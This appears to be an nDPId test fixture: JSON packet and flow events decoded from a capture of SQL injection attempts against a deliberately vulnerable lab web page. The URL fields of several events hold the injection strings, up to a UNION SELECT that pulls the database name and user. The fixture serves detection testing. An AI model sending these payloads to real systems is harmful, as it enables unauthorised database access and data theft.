+01030{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":420462,"pkt_caplen":513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":513,"pkt_l4_len":479,"pkt":"ABm5CmnxAMGxFOsxCABFAAHz4aZAAD4G4nKsEAABwKgKMo1kAFAWk4RKuxMwZYAYAOVgowAAAQEICgE+Ze0D6DdgR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNyZTdWJtaXQ9U3VibWl0IEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8NCkNvb2tpZTogc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9NWRmY3VoODVrZzB2dmlkZjhucnNqdGJvYjUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1499348407419,"flow_last_seen":1499348407420,"flow_tot_l4_data_len":591,"flow_min_l4_data_len":32,"flow_max_l4_data_len":479,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36196,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00430{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":420554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BwVAAEAGvNPAqAoyrBAAAQBQjWS7EzBlFpOGCYAQAOtGqQAAAQEICgPoN2ABPmXt"} +01143{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":424132,"pkt_caplen":596,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":596,"pkt_l4_len":562,"pkt":"AMGxFOsxABm5CmnxCABFAAJGBwZAAEAGusDAqAoyrBAAAQBQjWS7EzBlFpOGCYAYAOv\/xgAAAQEICgPoN2EBPmXtSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQwOjA3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTANClByYWdtYTogbm8tY2FjaGUNClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1FbmNvZGluZzogZ3ppcA0KQ29udGVudC1MZW5ndGg6IDE0MQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQofiwgAAAAAAAADLc4xDsIwDIXhq7zNI+pMxQlgQEyMVjAkotiVk1Tk9iTAYOkt3y\/Pq8vhahWRNwErxN0cSdGsOi7nI3LTwu89QpTwRImCF2vlpU8uCOYueTW9ZRT7qVP7OvFNHP1yMsW9Zwf29IjlHx2iZoEKO4gmIkJvLkkF07wbv30Aj46y+KEAAAA="} +00430{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":424728,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04adAAD4G5DCsEAABwKgKMo1kAFAWk4YJuxMyd4AQAO1EkwAAAQEICgE+Ze4D6Ddh"} +00431{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348412,"pkt_ts_usec":425143,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BwdAAEAGvNHAqAoyrBAAAQBQjWS7EzJ3FpOGCYARAOs\/sgAAAQEICgPoPEMBPmXu"} +00431{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348412,"pkt_ts_usec":425420,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04ahAAD4G5C+sEAABwKgKMo1kAFAWk4YJuxMyd4ARAO0\/sAAAAQEICgE+atAD6Ddh"} +00432{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348412,"pkt_ts_usec":425455,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BwhAAEAGvNDAqAoyrBAAAQBQjWS7EzJ4FpOGCoAQAOs6zwAAAQEICgPoPEMBPmrQ"} +00432{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348412,"pkt_ts_usec":425928,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04alAAD4G5C6sEAABwKgKMo1kAFAWk4YKuxMyeIAQAO06zAAAAQEICgE+atED6DxD"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1499348413192,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36198,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":192475,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/kNAAD4Gx4ysEAABwKgKMo1mAFAV3ZXTAAAAAKACchC4zgAAAgQFtAQCCAoBPmuQAAAAAAEDAwc="} +00443{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":192603,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjWbwopjJFd2V1KAScSDvVQAAAgQFtAQCCAoD6D0DAT5rkAEDAwc="} +00432{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":193376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/kRAAD4Gx5OsEAABwKgKMo1mAFAV3ZXU8KKYyoAQAOWOXQAAAQEICgE+a5AD6D0D"} +01052{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":193380,"pkt_caplen":526,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":526,"pkt_l4_len":492,"pkt":"ABm5CmnxAMGxFOsxCABFAAIA\/kVAAD4GxcasEAABwKgKMo1mAFAV3ZXU8KKYyoAYAOVYvwAAAQEICgE+a5AD6D0DR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDElMjMmU3VibWl0PVN1Ym1pdCBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3NxbGkvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPTVkZmN1aDg1a2cwdnZpZGY4bnJzanRib2I1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00806{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1499348413192,"flow_last_seen":1499348413193,"flow_tot_l4_data_len":604,"flow_min_l4_data_len":32,"flow_max_l4_data_len":492,"flow_avg_l4_data_len":151,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36198,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":193473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pclAAEAGHg\/AqAoyrBAAAQBQjWbwopjKFd2XoIAQAOuMiwAAAQEICgPoPQMBPmuQ"} +02926{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":260743,"pkt_caplen":1906,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1906,"pkt_l4_len":1872,"pkt":"AMGxFOsxABm5CmnxCABFAAdkpcpAAEAGFt7AqAoyrBAAAQBQjWbwopjKFd2XoIAYAOt+QgAAAQEICgPoPRQBPmuQSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQwOjEyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQ4OA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1v2zYQ\/pwA\/Q8cCzRtAYt1i25rJqtI7GQxkLZe7DQdMMCgJTpmTIkqSdnxfv2OlGTLiRNHc4Ag5su9PLzjHe\/0Yt\/\/pfOtPfi7d4ImJhaod3l83m0j3CDk6kObkM6gg36cDb6co6b3DvWN4qEh5OQrRnhiTHpIyHw+9+YfPKmuyeCC3FopTctWDBva8XiRiXDwYv\/Fvu\/03MYi0a0NMpqfPn3KWXPyPX\/CaATDvT0\/ZoYiy9JgPzM+a+G2TAxLTGOwSBlGYT5rYcNuDbEi\/kDhhCrNTOtycNr4HSOSy9zzDTeCBd8zkTBFR1xwszhE\/b\/OUTe5YaHhMkGHh6hD4wSVRIKhKzZCR2kqeEgdyevO96ujN2jW9Jrv0NsOmzEh0xgwvPVJrqFQJ3gyRYqJFtZmIZieMGYwMgC7QBtqjdFEsXELex6Bv2g2p3aVxJQnntsm96VxOHMp5x8e02tGYGld0pjOLJnnNpYydKh4aqoQbuiM5qsYaRWuAbnR7rcHCrwbjQOf5JSFi0jhIzseyWiBQkG1da+MGc59F\/EZ4lELWyfBiZgq3FvZskIq63s+j6\/vIXGH1ETIa+mlyTVGVIDHtzhqdW7ACuruqbZGHoLjsor2e3vDlEYRi\/IDAUEmynPa3WMhw6k1jeBIJiGonrbwnCeRnHuw5XC0DvKTeAe4ZAUGuuYuDwdnYDafULCy4MH+UwTyBMIsc\/dWe+kkfUT+XVIcdCsr9dRCZGXpFn1LGhz07RARdMFgEXWOK8pIJoIdDDqrBDKH6zFSmWHkEVSbGXBwbH\/RqVRhTQ\/cFchuWVgHgKPHQVvGMU2iVRraDUWo1bgOCkcPKPoXp7spHnPifU4hVFscOLOIbbklT+LHwSmH4O7aFb2zbbJUSBrVsU7BUcC4dLMd\/UNTA09ULRcVLC5uWZgphtpHvUH77Gg3KPqn4BUcmgm4gDbbbcHj+CC2q2\/n7kiGI3jkajmnwnUHDXp9bJff7IZqzuh0yGtBKllwcAUj1Gfa3lrU7dRMs3fl3mo9rAUkZ8DBj34fapZvX3Y0hRWn6upXpf4LNs6v1jOg0HVR6BJF30i1DmHHJ8jFIpSRW5\/DFRkObP0I9yJfqmcO4OfJWG5RV6HCQe+sB1ExlvUU0ZHMzBY1SxocHNnh85nVFnpb1a+IcHDuxncAFBXbWu33cCFoS9hVIQgti90tdNu9aiHoT5qPthFQGzdzUXl5XBE1W9arw1BGbEgVo0W1PJYqRtQJaOGXGEHnM5EA78+TQVF++mlxqEvNFKSUw6JkTtKsWtVDKc\/\/hXHzI0YJjWHEAfd9Wp2NYm5Kmn4xm1GRraaFYpIGeQtBLMocb6pYABhQ8wDZ6qXZar70Rwqq7lOutHFSDxGNYp7ky\/1MVdeI5XeNxNIn\/uR98AVC1F1YFdPClu8dWeFRuD+rm1BpJYsYYzT2QhkvQ06xGWdzTT52eu++Nnu\/\/XriuT4TGaquoUfE8HzQZIqD\/y1qees2otMgkyXenE95yiJOXb9rZwRuzJCXN2YznicyP44AZIyZUtnEi6EpNFlC81P9FI2lhEYIfZhxHWpDTjPyoHlqS9qKLYXOmWkTy2TKFl7CoC22EhpOxLpsEi\/sfIO+Rtlcb0b9jDq2e9veIDmnOnXeggTHbm2Sci7rbvf3k9i3WnUkR6NFw9g8o52THrTNPcqq7CKP5iFa9sgumPP\/ZbJ8ILkWOS8UjKplJtmUgfVCGxYP7au17LSrmWqUGWONVuSm7xCH6IyJdPk6pDLN0mFJJpN2\/r6sPm8cAsVl+ho9UFfYyB5OQKK19WeAZCvLV2Xkt4ScH6A3OEBbUfVlBm3k8+LSTuY2ZNaWVPBreDwEG0Pm9lkc2IfCJV2fwKyaje1uWYSgc\/sVq6ABiSsKqB66nX6xE3Ftr0lU+vBBd46lNGsfddJgl69q6abnu\/psEPtA5x8a3SfA4D8qFDbP4xQAAA=="} +00432{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348413,"pkt_ts_usec":261482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/kZAAD4Gx5GsEAABwKgKMo1mAFAV3Zeg8KKf+oAQAQGFIwAAAQEICgE+a6ED6D0U"} +00432{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348418,"pkt_ts_usec":262402,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pcxAAEAGHgzAqAoyrBAAAQBQjWbwop\/6Fd2XoIARAOuAVQAAAQEICgPoQfcBPmuh"} +00432{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348418,"pkt_ts_usec":262929,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/kdAAD4Gx5CsEAABwKgKMo1mAFAV3Zeg8KKf+4ARAQF7WwAAAQEICgE+cIQD6EH3"} +00433{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348418,"pkt_ts_usec":262971,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pc1AAEAGHgvAqAoyrBAAAQBQjWbwop\/7Fd2XoYAQAOt7cQAAAQEICgPoQfcBPnCE"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1499348422024,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36200,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":24349,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8A7ZAAD4GwhqsEAABwKgKMo1oAFD9gXeGAAAAAKACchDm1AAAAgQFtAQCCAoBPnQwAAAAAAEDAwc="} +00443{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":24463,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjWik93fQ\/YF3h6AScSCBYAAAAgQFtAQCCAoD6EWjAT50MAEDAwc="} +00430{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":25263,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0A7dAAD4GwiGsEAABwKgKMo1oAFD9gXeHpPd30YAQAOUgaAAAAQEICgE+dDAD6EWj"} +01150{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":25267,"pkt_caplen":603,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":603,"pkt_l4_len":569,"pkt":"ABm5CmnxAMGxFOsxCABFAAJNA7hAAD4GwAesEAABwKgKMo1oAFD9gXeHpPd30YAYAOVReQAAAQEICgE+dDAD6EWjR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMvc3FsaS8\/aWQ9MSUyNythbmQrMSUzRDErdW5pb24rc2VsZWN0K2RhdGFiYXNlJTI4JTI5JTJDK3VzZXIlMjglMjklMjMmU3VibWl0PVN1Ym1pdCBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvdnVsbmVyYWJpbGl0aWVzL3NxbGkvP2lkPTElMjcrYW5kKzElM0QxJTIzJlN1Ym1pdD1TdWJtaXQNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9NWRmY3VoODVrZzB2dmlkZjhucnNqdGJvYjUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00848{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1499348422024,"flow_last_seen":1499348422025,"flow_tot_l4_data_len":681,"flow_min_l4_data_len":32,"flow_max_l4_data_len":569,"flow_avg_l4_data_len":170,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36200,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/sqli\/?id=1%27+and+1%3D1+union+select+database%28%29%2C+user%28%29%23&Submit=Submit","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00431{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":25335,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0MnJAAEAGkWbAqAoyrBAAAQBQjWik93fR\/YF5oIAQAOseSQAAAQEICgPoRaMBPnQw"} +02968{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348422,"pkt_ts_usec":57811,"pkt_caplen":1947,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1947,"pkt_l4_len":1913,"pkt":"AMGxFOsxABm5CmnxCABFAAeNMnNAAEAGigzAqAoyrBAAAQBQjWik93fR\/YF5oIAYAOt+awAAAQEICgPoRasBPnQwSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjQwOjIxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUyOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWP9P4zYU\/xmk+x88nzTgtMbXO922Y2k2aGEgcXcdLcdNmlS5iduaOnHOdlq6v37PTtIGKJSsSIj6y\/vysd8Xv5dXu\/4PnS\/t\/t\/dEzQxsUDdq+OL8zbCDUKu37cJ6fQ76NtZ\/9MFanpvUc8oHhpCTj5jhCfGpIeEzOdzb\/7ek2pM+pfk1kppWrZi2NCOx4tMhINXu692fafnNhaJbq2R0fz48WPOmpPv+BNGIxju7PgxMxRZlgb7nvFZC7dlYlhiGv1FyjAK81kLG3ZriBXxGwonVGlmWlf908avGJFc5o5vuBEs+JqJhCk65IKbxSHq\/XWBzpMbFhouE3R4iDo0TlBJJBi6ZkN0lKaCh9SR7He+Xh8doFnTa75FbzpsxoRMY8Dwxie5hkKd4MkUKSZaWJuFYHrCmMHIAOwCbag1RhPFRi3seQT+otmc2lUSU554bps8lMbhzKWcf3hMx4zA0l1JIzqzZJ7bWMrQoeKpqUK4oTOar2KkVXgHyI12v11Q4N1oHPgkpyxMRAob2fFQRgsUCqqteWXMcG67iM8Qj1rYGglOxFRh3sqWFVJZ3\/F5PH6AxB1SEyHH0kuTMUZUgMU3GGp1bsAK6h6otpc8AMNlFe0P9gYpjSIW